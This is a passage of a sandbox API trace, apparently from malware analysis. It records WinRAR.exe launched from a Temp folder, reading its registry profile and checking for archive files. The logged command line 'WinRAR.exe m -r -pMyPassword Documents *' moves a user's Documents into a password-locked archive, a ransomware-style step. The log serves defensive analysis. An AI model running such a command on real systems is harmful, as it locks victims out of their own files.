lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.987] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.987] GetLastError () returned 0x5b0 [0060.988] SetLastError (dwErrCode=0x5b0) [0060.988] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.988] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcTimeLatest", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.988] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.988] GetLastError () returned 0x5b0 [0060.988] SetLastError (dwErrCode=0x5b0) [0060.988] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.988] RegQueryValueExW (in: hKey=0x2f0, lpValueName="mtime", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x4, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.988] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.988] GetLastError () returned 0x5b0 [0060.988] SetLastError (dwErrCode=0x5b0) [0060.988] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.988] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ctime", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.988] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.988] GetLastError () returned 0x5b0 [0060.988] SetLastError (dwErrCode=0x5b0) [0060.988] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.988] RegQueryValueExW (in: hKey=0x2f0, lpValueName="atime", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.988] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.988] GetLastError () returned 0x5b0 [0060.988] SetLastError (dwErrCode=0x5b0) [0060.988] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.988] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PathsAbs", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.988] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.988] GetLastError () returned 0x5b0 [0060.988] SetLastError (dwErrCode=0x5b0) [0060.988] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.988] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PathsNone", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.989] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.989] GetLastError () returned 0x5b0 [0060.989] SetLastError (dwErrCode=0x5b0) [0060.989] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.989] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PathsAbsDrive", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.989] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.989] GetLastError () returned 0x5b0 [0060.989] SetLastError (dwErrCode=0x5b0) [0060.989] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.989] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ImmExec", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.989] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.989] GetLastError () returned 0x5b0 [0060.989] SetLastError (dwErrCode=0x5b0) [0060.989] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.989] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SeparateArc", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.989] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.989] GetLastError () returned 0x5b0 [0060.989] SetLastError (dwErrCode=0x5b0) [0060.989] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.989] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SeparateArcDoubleExt", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.989] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.989] GetLastError () returned 0x5b0 [0060.989] SetLastError (dwErrCode=0x5b0) [0060.989] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0fa090 | out: phkResult=0x141a0fa090*=0x2f0) returned 0x0 [0060.990] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SeparateArcSubfolders", lpReserved=0x0, lpType=0x141a0fa4f4, lpData=0x141a0fa4f0, lpcbData=0x141a0fa528*=0x4 | out: lpType=0x141a0fa4f4*=0x4, lpData=0x141a0fa4f0*=0x0, lpcbData=0x141a0fa528*=0x4) returned 0x0 [0060.990] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.990] GetLastError () returned 0x5b0 [0060.990] SetLastError (dwErrCode=0x5b0) [0060.990] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.990] RegQueryValueExW (in: hKey=0x2f0, lpValueName="EmailArcTo", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x7ff6f762aa34, lpcbData=0x141a0f9c60*=0x1000 | out: lpType=0x141a0f9c64*=0x1, lpData="", lpcbData=0x141a0f9c60*=0x2) returned 0x0 [0060.990] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.990] GetLastError () returned 0x5b0 [0060.990] SetLastError (dwErrCode=0x5b0) [0060.990] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f9800 | out: phkResult=0x141a0f9800*=0x2f0) returned 0x0 [0060.990] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PackDetails", lpReserved=0x0, lpType=0x141a0f9c64, lpData=0x141a0fa550, lpcbData=0x141a0f9c60*=0xc0 | out: lpType=0x141a0f9c64*=0x3, lpData=0x141a0fa550*, lpcbData=0x141a0f9c60*=0xc0) returned 0x0 [0060.990] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.990] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0060.990] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x60) returned 0x1162e7f9bc0 [0060.990] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f9bc0 | out: hHeap=0x1162e7c0000) returned 1 [0060.990] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xa) returned 0x1162e87d7a0 [0060.990] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d7a0 | out: hHeap=0x1162e7c0000) returned 1 [0060.990] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xa) returned 0x1162e87dd00 [0060.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0060.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0060.990] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87dd00 | out: hHeap=0x1162e7c0000) returned 1 [0060.990] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1e) returned 0x1162e87ba40 [0060.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0060.990] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0060.990] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87ba40 | out: hHeap=0x1162e7c0000) returned 1 [0060.990] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x18) returned 0x1162e87dde0 [0060.990] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87dde0 | out: hHeap=0x1162e7c0000) returned 1 [0060.990] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8) returned 0x1162e7d5ad0 [0060.990] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7d5ad0 | out: hHeap=0x1162e7c0000) returned 1 [0060.990] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x141a0fec10 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0060.991] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0060.991] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x60) returned 0x1162e7f9d80 [0060.991] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f9d80 | out: hHeap=0x1162e7c0000) returned 1 [0060.991] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xa) returned 0x1162e87dc40 [0060.991] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87dc40 | out: hHeap=0x1162e7c0000) returned 1 [0060.991] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xa) returned 0x1162e87d960 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="sfx", cchCount2=-1) returned 1 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="ibck", cchCount2=-1) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="iext", cchCount2=-1) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iicon", cchCount2=5) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iimg", cchCount2=4) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iadm", cchCount2=4) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="cp", cchCount2=2) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="af", cchCount2=2) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="an=", cchCount2=3) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="anf=", cchCount2=4) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="setup_integration", cchCount2=17) returned 1 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="elevate", cchCount2=7) returned 3 [0060.991] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d960 | out: hHeap=0x1162e7c0000) returned 1 [0060.991] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1e) returned 0x1162e87b8c0 [0060.991] GetLastError () returned 0x5b0 [0060.991] SetLastError (dwErrCode=0x5b0) [0060.991] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0f6100 | out: phkResult=0x141a0f6100*=0x0) returned 0x2 [0060.991] GetLastError () returned 0x5b0 [0060.991] SetLastError (dwErrCode=0x5b0) [0060.991] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f68d0 | out: phkResult=0x141a0f68d0*=0x0) returned 0x2 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="sfx", cchCount2=-1) returned 1 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="ibck", cchCount2=-1) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="iext", cchCount2=-1) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=5, lpString2="iicon", cchCount2=5) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="iimg", cchCount2=4) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="iadm", cchCount2=4) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="cp", cchCount2=2) returned 3 [0060.991] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="af", cchCount2=2) returned 3 [0060.992] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=3, lpString2="an=", cchCount2=3) returned 3 [0060.992] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="anf=", cchCount2=4) returned 3 [0060.992] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=12, lpString2="setup_integration", cchCount2=17) returned 1 [0060.992] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=7, lpString2="elevate", cchCount2=7) returned 3 [0060.992] GetSystemDirectoryW (in: lpBuffer=0x141a0f6e20, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0060.992] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\Crypt32.dll") returned 0x7ff92e880000 [0060.996] GetProcAddress (hModule=0x7ff92e880000, lpProcName="CryptProtectMemory") returned 0x7ff92d8c1770 [0060.998] GetProcAddress (hModule=0x7ff92e880000, lpProcName="CryptUnprotectMemory") returned 0x7ff92d8c17a0 [0060.998] CryptProtectMemory (in: pDataIn=0x7ff6f7629670, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x7ff6f7629670) returned 1 [0061.000] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87b8c0 | out: hHeap=0x1162e7c0000) returned 1 [0061.000] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x18) returned 0x1162e87d800 [0061.000] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d800 | out: hHeap=0x1162e7c0000) returned 1 [0061.000] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8) returned 0x1162e7d5ad0 [0061.000] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x40) returned 0x1162e7ed680 [0061.000] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7d5ad0 | out: hHeap=0x1162e7c0000) returned 1 [0061.001] GetFileAttributesW (lpFileName="Documents" (normalized: "c:\\users\\fd1hvy\\documents\\documents")) returned 0xffffffff [0061.001] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x141a0f87e0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0061.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Documents\\Documents" (normalized: "c:\\users\\fd1hvy\\documents\\documents")) returned 0xffffffff [0061.001] GetFileAttributesW (lpFileName="Documents.rar" (normalized: "c:\\users\\fd1hvy\\documents\\documents.rar")) returned 0xffffffff [0061.001] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x141a0f87b0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0061.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Documents\\Documents.rar" (normalized: "c:\\users\\fd1hvy\\documents\\documents.rar")) returned 0xffffffff [0061.001] GetFileAttributesW (lpFileName="Documents.zip" (normalized: "c:\\users\\fd1hvy\\documents\\documents.zip")) returned 0xffffffff [0061.001] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x141a0f87b0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0061.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Documents\\Documents.zip" (normalized: "c:\\users\\fd1hvy\\documents\\documents.zip")) returned 0xffffffff [0061.001] FindFirstFileW (in: lpFileName="Documents.rar", lpFindFileData=0x141a0fa890 | out: lpFindFileData=0x141a0fa890) returned 0xffffffffffffffff [0061.001] GetLastError () returned 0x2 [0061.001] SetLastError (dwErrCode=0x2) [0061.001] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Compression", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f7a30 | out: phkResult=0x141a0f7a30*=0x0) returned 0x2 [0061.002] CreateFileW (lpFileName="Documents.rar" (normalized: "c:\\users\\fd1hvy\\documents\\documents.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0061.002] GetLastError () returned 0x2 [0061.002] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x141a0ea830 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0061.002] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Documents\\Documents.rar" (normalized: "c:\\users\\fd1hvy\\documents\\documents.rar"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0061.002] GetLastError () returned 0x2 [0061.002] GetFileAttributesW (lpFileName="Documents.rar" (normalized: "c:\\users\\fd1hvy\\documents\\documents.rar")) returned 0xffffffff [0061.002] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x141a0f1050 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0061.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Documents\\Documents.rar" (normalized: "c:\\users\\fd1hvy\\documents\\documents.rar")) returned 0xffffffff [0061.003] SendMessageW (hWnd=0x1023e, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 [0061.003] GetMenu (hWnd=0x1023e) returned 0x10257 [0061.003] GetSubMenu (hMenu=0x10257, nPos=4) returned 0x10263 [0061.003] GetSubMenu (hMenu=0x10263, nPos=5) returned 0x1026b [0061.003] DeleteMenu (hMenu=0x1026b, uPosition=0x41a, uFlags=0x0) returned 0 [0061.003] CheckMenuItem (hMenu=0x1026b, uIDCheckItem=0xab, uCheck=0x0) returned 0x0 [0061.003] GetLastError () returned 0x2 [0061.003] SetLastError (dwErrCode=0x2) [0061.003] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0f5ac0 | out: phkResult=0x141a0f5ac0*=0x2fc) returned 0x0 [0061.003] RegQueryValueExW (in: hKey=0x2fc, lpValueName="ActivePath", lpReserved=0x0, lpType=0x141a0f5f24, lpData=0x7ff6f764047e, lpcbData=0x141a0f5f20*=0x1000 | out: lpType=0x141a0f5f24*=0x0, lpData=0x7ff6f764047e*=0x0, lpcbData=0x141a0f5f20*=0x1000) returned 0x2 [0061.003] RegCloseKey (hKey=0x2fc) returned 0x0 [0061.003] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0x141a0f67a0 | out: phkResult=0x141a0f67a0*=0x0) returned 0x2 [0061.003] SHGetMalloc (in: ppMalloc=0x141a0f6740 | out: ppMalloc=0x141a0f6740*=0x7ff92fcdf3f0) returned 0x0 [0061.003] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x141a0f6788 | out: ppidl=0x141a0f6788) returned 0x0 [0061.003] SHGetPathFromIDListW (in: pidl=0x1162e881e60, pszPath=0x141a0f7bf0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0061.003] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0061.003] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x1162e881e60) [0061.003] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\Themes" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\themes")) returned 0xffffffff [0061.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\Themes" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\themes")) returned 0xffffffff [0061.003] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x141a0f7bf0, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0061.003] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8e) returned 0x1162e87c750 [0061.004] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x51d0) returned 0x1162e881e60 [0061.004] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Themes\\winrar_theme_description.txt", lpFindFileData=0x141a0f3440 | out: lpFindFileData=0x141a0f3440) returned 0xffffffffffffffff [0061.004] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Themes\\winrar_theme_description.txt", lpFindFileData=0x141a0f3440 | out: lpFindFileData=0x141a0f3440) returned 0xffffffffffffffff [0061.004] GetLastError () returned 0x3 [0061.004] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e887040 [0061.004] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Themes\\*", lpFindFileData=0x141a0f3440 | out: lpFindFileData=0x141a0f3440) returned 0xffffffffffffffff [0061.004] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Themes\\*", lpFindFileData=0x141a0f3440 | out: lpFindFileData=0x141a0f3440) returned 0xffffffffffffffff [0061.004] GetLastError () returned 0x3 [0061.004] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e887040 | out: hHeap=0x1162e7c0000) returned 1 [0061.005] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e881e60 | out: hHeap=0x1162e7c0000) returned 1 [0061.005] DrawMenuBar (hWnd=0x1023e) returned 1 [0061.005] NtdllDefWindowProc_W () returned 0x0 [0061.005] NtdllDefWindowProc_W () returned 0x0 [0061.005] NtdllDefWindowProc_W () returned 0x1 [0061.005] NtdllDefWindowProc_W () returned 0x0 [0061.006] NtdllDefWindowProc_W () returned 0x1 [0061.006] CheckMenuItem (hMenu=0x1026b, uIDCheckItem=0xab, uCheck=0x8) returned 0x0 [0061.006] GetLastError () returned 0x3 [0061.006] SetLastError (dwErrCode=0x3) [0061.006] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x11600020006, lpSecurityAttributes=0x0, phkResult=0x141a0f5ab8, lpdwDisposition=0x141a0f5ab0 | out: phkResult=0x141a0f5ab8*=0x2fc, lpdwDisposition=0x141a0f5ab0*=0x2) returned 0x0 [0061.006] RegSetValueExW (in: hKey=0x2fc, lpValueName="ShellExtBMP", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0061.006] RegCloseKey (hKey=0x2fc) returned 0x0 [0061.006] GetLastError () returned 0x3 [0061.006] SetLastError (dwErrCode=0x3) [0061.006] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Interface\\Themes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x11600020006, lpSecurityAttributes=0x0, phkResult=0x141a0f5ab8, lpdwDisposition=0x141a0f5ab0 | out: phkResult=0x141a0f5ab8*=0x2fc, lpdwDisposition=0x141a0f5ab0*=0x2) returned 0x0 [0061.006] RegSetValueExW (in: hKey=0x2fc, lpValueName="ShellExtIcon", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0061.007] RegCloseKey (hKey=0x2fc) returned 0x0 [0061.007] GetLastError () returned 0x3 [0061.007] SetLastError (dwErrCode=0x3) [0061.007] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\FileList", ulOptions=0x0, samDesired=0x9, phkResult=0x141a0faeb0 | out: phkResult=0x141a0faeb0*=0x0) returned 0x2 [0061.007] GetClientRect (in: hWnd=0x1023e, lpRect=0x141a0fb400 | out: lpRect=0x141a0fb400) returned 1 [0061.007] CreateWindowExW (dwExStyle=0x300, 